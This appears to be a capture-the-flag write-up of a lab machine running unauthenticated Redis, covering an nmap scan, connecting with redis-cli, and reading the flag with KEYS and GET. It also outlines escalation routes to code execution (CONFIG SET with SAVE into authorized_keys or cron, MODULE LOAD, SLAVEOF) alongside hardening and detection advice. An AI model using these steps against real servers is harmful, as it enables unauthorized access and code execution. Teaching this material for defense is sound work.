Redeemer exposes a single service: Redis 5.0.7, no authentication, listening on the network.
Pulling the flag is a GET. But reading this box as “unauthenticated data disclosure” undersells
it - an unauthenticated Redis instance is one of the more dangerous things to find on an internal
scan, because the same open socket that hands you a key will, with a writable target on disk, hand
you code execution. Here only the read is needed; the rest is worth knowing.
Path to root, at a glance:
nmap->6379/tcp, Redis 5.0.7, no auth.redis-cli -h-> connected, no password challenge.INFO/KEYS */GET flag.
Recon - nmap
┌──(r3vpwnx㉿r3vpwnx)-[~/CTF/HTB/Redeemer]
└─$ sudo nmap -Pn -sSCV 10.129.136.187 -p- --min-rate=1000 -oA redeemer-nmap
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 5.0.7
-p- for the full port range so I do not miss a service on a high port, --min-rate=1000 to keep
the full-range scan quick, -oA to save all three formats for later. One port: Redis on its default
6379.
Enumeration - talking RESP
Redis speaks a simple line protocol (RESP), so redis-cli is really just a convenience over “send a
command, read a reply.” The security model is deliberately thin: Redis was designed to sit on a
trusted internal network behind the application, so by default it has no password and, in older
builds, trusts whatever can reach the socket. Two things have to be wrong for this box to exist -
requirepass is unset and the server is bound to a routable interface instead of loopback.
┌──(r3vpwnx㉿r3vpwnx)-[~/CTF/HTB/Redeemer]
└─$ redis-cli -h 10.129.136.187
10.129.136.187:6379>
No AUTH challenge, no error - I am at an interactive prompt against someone else’s database.
INFO dumps the server’s self-description; the Keyspace section tells me how much is in it:
10.129.136.187:6379> INFO
# Server
redis_version:5.0.7
...
# Keyspace
db0:keys=4,expires=0,avg_ttl=0
Four keys in db0. (Redis has 16 numbered logical databases by default; SELECT n switches between
them - here everything lives in 0.)
Loot - the flag
10.129.136.187:6379> KEYS *
1) "numb"
2) "stor"
3) "temp"
4) "flag"
10.129.136.187:6379> GET flag
"[flag redacted]"
KEYS * is fine on a four-key lab database; on anything real it is a blocking O(N) scan of the whole
keyspace and you would use SCAN instead.
Why this is normally worse than a read
On a box where Redis runs as a user who can write somewhere useful, the same unauthenticated access escalates straight to RCE. The classic primitives, none of which are needed here but all of which this exact misconfiguration enables:
CONFIG SET dir+CONFIG SET dbfilename+SAVEto write the RDB file into~/.ssh/authorized_keys, a web root, or/etc/cron.d.MODULE LOADof an attacker-supplied.sofor direct command execution.- The master/replica (
SLAVEOF) module-load trick for fully remote RCE.
The takeaway: finding an open Redis is not “I can read some keys,” it is “I probably have code execution if I want it.”
Detection and hardening
- Set
requirepass(a real, long secret) and, on modern Redis, use ACLs for per-user scope. - Bind to loopback (
bind 127.0.0.1 ::1) or an internal-only interface, and leaveprotected-mode yeson - it refuses external connections when no password is set. - Rename or disable the dangerous verbs (
rename-command CONFIG "", likewiseMODULE,SLAVEOF,FLUSHALL) if the app does not use them. - Blue team: an external TCP connection to
6379followed byINFO/KEYS/CONFIGis the pattern; Redis with no auth will not log the attempt, so the detection lives at the network edge.
Lessons
- “Secure by network location” fails the moment the network is wrong. Redis trusts its reachability; bind it so only the app can reach it.
- An unauthenticated datastore is a foothold, not just a leak. Assume write-to-disk and plan the defense around RCE, not around confidentiality alone.